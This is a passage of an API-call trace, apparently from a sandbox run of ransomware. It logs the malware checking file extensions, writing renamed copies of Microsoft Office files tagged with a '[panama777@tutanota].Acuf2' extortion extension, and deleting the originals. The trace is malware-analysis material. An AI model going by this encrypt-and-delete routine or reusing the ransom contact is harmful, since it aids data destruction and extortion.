	[0263.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58
	[0263.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58
	[0263.680] lstrlenW (lpString=".doc") returned 4
	[0263.680] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.680] lstrlenW (lpString=".docx") returned 5
	[0263.680] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0263.680] lstrlenW (lpString=".pdf") returned 4
	[0263.680] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.680] lstrlenW (lpString=".xls") returned 4
	[0263.680] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.680] lstrlenW (lpString=".xlsx") returned 5
	[0263.680] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0263.680] lstrlenW (lpString=".ppt") returned 4
	[0263.680] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58
	[0263.680] lstrlenW (lpString=".zip") returned 4
	[0263.680] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.680] lstrlenW (lpString=".rar") returned 4
	[0263.680] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.680] lstrlenW (lpString=".bz2") returned 4
	[0263.680] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.680] lstrlenW (lpString=".7z") returned 3
	[0263.680] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58
	[0263.680] lstrlenW (lpString=".dbf") returned 4
	[0263.680] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58
	[0263.680] lstrlenW (lpString=".1cd") returned 4
	[0263.680] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58
	[0263.680] lstrlenW (lpString=".jpg") returned 4
	[0263.680] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.681] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.681] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0263.681] GetLastError () returned 0x0
	[0263.681] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x3b80, lpOverlapped=0x0) returned 1
	[0263.710] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x3b90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x3b90, lpOverlapped=0x0) returned 1
	[0263.711] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.711] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0263.711] SetEndOfFile (hFile=0x350) returned 1
	[0263.712] CloseHandle (hObject=0x350) returned 1
	[0263.712] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.712] SetEndOfFile (hFile=0x344) returned 1
	[0263.714] CloseHandle (hObject=0x344) returned 1
	[0263.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 1
	[0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66
	[0263.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66
	[0263.714] lstrlenW (lpString=".doc") returned 4
	[0263.714] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.714] lstrlenW (lpString=".docx") returned 5
	[0263.714] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.714] lstrlenW (lpString=".pdf") returned 4
	[0263.714] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.714] lstrlenW (lpString=".xls") returned 4
	[0263.714] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.714] lstrlenW (lpString=".xlsx") returned 5
	[0263.714] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.715] lstrlenW (lpString=".ppt") returned 4
	[0263.715] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66
	[0263.715] lstrlenW (lpString=".zip") returned 4
	[0263.715] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.715] lstrlenW (lpString=".rar") returned 4
	[0263.715] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.715] lstrlenW (lpString=".bz2") returned 4
	[0263.715] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.715] lstrlenW (lpString=".7z") returned 3
	[0263.715] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66
	[0263.715] lstrlenW (lpString=".dbf") returned 4
	[0263.715] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66
	[0263.715] lstrlenW (lpString=".1cd") returned 4
	[0263.715] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66
	[0263.715] lstrlenW (lpString=".jpg") returned 4
	[0263.715] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.923] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=1608) returned 1
	[0263.923] CloseHandle (hObject=0x32c) returned 1
	[0263.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 0x20
	[0263.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.924] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.924] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.924] GetLastError () returned 0x0
	[0263.924] ReadFile (in: hFile=0x32c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x648, lpOverlapped=0x0) returned 1
	[0263.969] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x650, lpOverlapped=0x0) returned 1
	[0263.970] ReadFile (in: hFile=0x32c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.970] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0263.970] SetEndOfFile (hFile=0x28c) returned 1
	[0263.970] CloseHandle (hObject=0x28c) returned 1
	[0263.970] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.970] SetEndOfFile (hFile=0x32c) returned 1
	[0263.973] CloseHandle (hObject=0x32c) returned 1
	[0263.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd")) returned 1
	[0264.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57
	[0264.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57
	[0264.104] lstrlenW (lpString=".doc") returned 4
	[0264.104] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString=".docx") returned 5
	[0264.104] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1
	[0264.104] lstrlenW (lpString=".pdf") returned 4
	[0264.104] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString=".xls") returned 4
	[0264.104] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0264.104] lstrlenW (lpString=".xlsx") returned 5
	[0264.104] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1
	[0264.104] lstrlenW (lpString=".ppt") returned 4
	[0264.104] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57
	[0264.104] lstrlenW (lpString=".zip") returned 4
	[0264.104] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0264.104] lstrlenW (lpString=".rar") returned 4
	[0264.104] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString=".bz2") returned 4
	[0264.104] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString=".7z") returned 3
	[0264.104] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0264.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57
	[0264.104] lstrlenW (lpString=".dbf") returned 4
	[0264.104] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57
	[0264.104] lstrlenW (lpString=".1cd") returned 4
	[0264.104] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0264.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD") returned 57
	[0264.104] lstrlenW (lpString=".jpg") returned 4
	[0264.104] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0264.105] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=1287548) returned 1
	[0264.105] CloseHandle (hObject=0x344) returned 1
	[0264.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 0x20
	[0264.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0264.140] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.141] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0264.141] GetLastError () returned 0x0
	[0264.141] ReadFile (in: hFile=0x350, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0264.195] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0264.301] ReadFile (in: hFile=0x350, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x3a58c, lpOverlapped=0x0) returned 1
	[0264.313] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x3a590, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x3a590, lpOverlapped=0x0) returned 1
	[0264.320] ReadFile (in: hFile=0x350, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.320] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0264.320] SetEndOfFile (hFile=0x28c) returned 1
	[0264.320] CloseHandle (hObject=0x28c) returned 1
	[0264.320] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.320] SetEndOfFile (hFile=0x350) returned 1
	[0264.537] CloseHandle (hObject=0x350) returned 1
	[0264.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 1
	[0264.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59
	[0264.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59
	[0264.539] lstrlenW (lpString=".doc") returned 4
	[0264.539] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1
	[0264.539] lstrlenW (lpString=".docx") returned 5
	[0264.539] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1
	[0264.539] lstrlenW (lpString=".pdf") returned 4
	[0264.539] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1
	[0264.539] lstrlenW (lpString=".xls") returned 4
	[0264.539] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1
	[0264.539] lstrlenW (lpString=".xlsx") returned 5
	[0264.539] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1
	[0264.539] lstrlenW (lpString=".ppt") returned 4
	[0264.539] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1
	[0264.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59
	[0264.539] lstrlenW (lpString=".zip") returned 4
	[0264.539] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1
	[0264.539] lstrlenW (lpString=".rar") returned 4
	[0264.539] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1
	[0264.540] lstrlenW (lpString=".bz2") returned 4
	[0264.540] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1
	[0264.540] lstrlenW (lpString=".7z") returned 3
	[0264.540] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1
	[0264.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59
	[0264.540] lstrlenW (lpString=".dbf") returned 4
	[0264.540] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1
	[0264.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59
	[0264.540] lstrlenW (lpString=".1cd") returned 4
	[0264.540] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1
	[0264.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59
	[0264.540] lstrlenW (lpString=".jpg") returned 4
	[0264.540] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1
	[0264.540] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=269184) returned 1
	[0264.540] CloseHandle (hObject=0x350) returned 1
	[0264.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 0x20
	[0264.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0264.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0264.541] GetLastError () returned 0x0
	[0264.541] ReadFile (in: hFile=0x350, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x41b80, lpOverlapped=0x0) returned 1
	[0264.551] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x41b90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x41b90, lpOverlapped=0x0) returned 1
	[0264.556] ReadFile (in: hFile=0x350, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.556] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0264.556] SetEndOfFile (hFile=0x320) returned 1
	[0264.556] CloseHandle (hObject=0x320) returned 1
	[0264.556] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.556] SetEndOfFile (hFile=0x350) returned 1
	[0264.710] CloseHandle (hObject=0x350) returned 1
	[0264.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 1
	[0264.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69
	[0264.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69
	[0264.716] lstrlenW (lpString=".doc") returned 4
	[0264.716] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.716] lstrlenW (lpString=".docx") returned 5
	[0264.716] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.716] lstrlenW (lpString=".pdf") returned 4
	[0264.716] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.716] lstrlenW (lpString=".xls") returned 4
	[0264.716] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.716] lstrlenW (lpString=".xlsx") returned 5
	[0264.716] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.716] lstrlenW (lpString=".ppt") returned 4
	[0264.716] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69
	[0264.716] lstrlenW (lpString=".zip") returned 4
	[0264.716] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.716] lstrlenW (lpString=".rar") returned 4
	[0264.717] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.717] lstrlenW (lpString=".bz2") returned 4
	[0264.717] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.717] lstrlenW (lpString=".7z") returned 3
	[0264.717] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69
	[0264.717] lstrlenW (lpString=".dbf") returned 4
	[0264.717] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69
	[0264.717] lstrlenW (lpString=".1cd") returned 4
	[0264.717] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69
	[0264.717] lstrlenW (lpString=".jpg") returned 4
	[0264.717] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0265.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
